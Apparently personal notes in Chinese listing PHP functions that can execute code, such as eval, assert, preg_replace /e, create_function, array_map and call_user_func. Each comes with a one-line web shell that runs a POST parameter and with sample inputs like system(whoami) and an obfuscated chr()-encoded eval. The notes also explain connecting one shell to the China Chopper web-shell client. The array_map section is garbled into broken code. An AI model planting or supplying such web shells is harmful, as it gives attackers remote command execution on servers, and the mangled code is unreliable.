代码执行
区别在是不是加分号
1 eval
2 assert
3 preg_replace()
这个函数前没有$,而且?和php必须紧紧挨着
<?php preg_replace("/test/e",$_POST["cmd"],"jutst test"); ?>post输入
cmd=eval(chr(112).chr(104).chr(112).chr(105).chr(110).chr(102).chr(111).chr(40).chr(41).chr(59))
4 create_function
<?php $func =create_function('',$_POST['cmd']);$func(); ?>cmd=phpinfo();
cmd=system(ipconfig);
cmd=system(whoami);
5 array_map
#命令执行http://localhost/123.php?func=system cmd=whoami
#菜刀连接http://localhost/123.php?func=assert 密码:cmd
按照题目要求不怎么好使,get输入func=system,post输入whoami
f u n c = func= func=_GET[‘func’];
c m d = cmd= cmd=_POST[‘cmd’];
a r r a y [ 0 ] = array[0]= array[0]=cmd;
n e w a r r a y = a r r a y m a p ( new_array=array_map( newarray=arraymap(func,$array);
echo $new_array;
cmd=phpinfo()
cmd=system(ipconfig)
6 call_user_func_array()
<?php $cmd=$_POST['cmd']; $array[0]=$cmd; call_user_func_array("assert",$array); ?>cmd=system(ipconfig)
cmd=phpinfo()
7 call_user_func()
<?php call_user_func("assert",$_POST['cmd']); ?>cmd=phpinfo()
cmd=system(ipconfig)